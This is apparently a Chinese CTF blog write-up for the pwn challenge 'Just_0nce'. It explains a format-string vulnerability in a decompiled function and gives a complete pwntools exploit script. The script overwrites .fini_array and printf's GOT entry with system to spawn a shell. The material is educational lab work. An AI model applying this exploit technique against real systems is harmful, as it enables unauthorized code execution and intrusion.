nssctf pwn每日一题:[KPCTF 2024 初赛]Just_0nce

checksec
image
开了canary和nx

然后看ida

__int64 sub_40127E()
{
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("input:");
  read(0, buf, 0x100uLL);
  printf(buf);
  puts("It being realized!please wait...");
  sleep(1u);
  puts("...");
  sleep(1u);
  puts("...");
  sleep(1u);
  puts("...");
  sleep(1u);
  puts("Low battery, please charge");
  return 0LL;
}

这里有read和printf函数,可以看出这里是格式化字符串漏洞;同时,由于该程序只执行一遍,考虑使用覆盖地址让该程序强制执行两次,第二次的时候把printf地址改成system地址,最后binsh提取获得flag
这里用到pwntools里的fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

找fini地址就是Jump-Jump to segment,找到.fini-array对应的起始位置
image
printf的got位置
image
system的plt位置
image
sub函数位置(也可以用main但是都差不多)
image
exp

from pwn import *
#io=remote('node7.anna.nssctf.cn',25573)
io=process('./attachment')
context(os="linux", arch="amd64", log_level="debug")
printf_got = 0x4033F0
system_plt = 0x4011F6
fini_array = 0x4031D8
sub = 0x40127E
payload = fmtstr_payload(6, {fini_array:sub,printf_got:system_plt})
io.sendafter('input:\n',payload)
io.send(b"/bin/sh")
io.interactive()
posted @ 2025-01-13 12:51  _ljnljn  阅读(28)  评论(0)    收藏  举报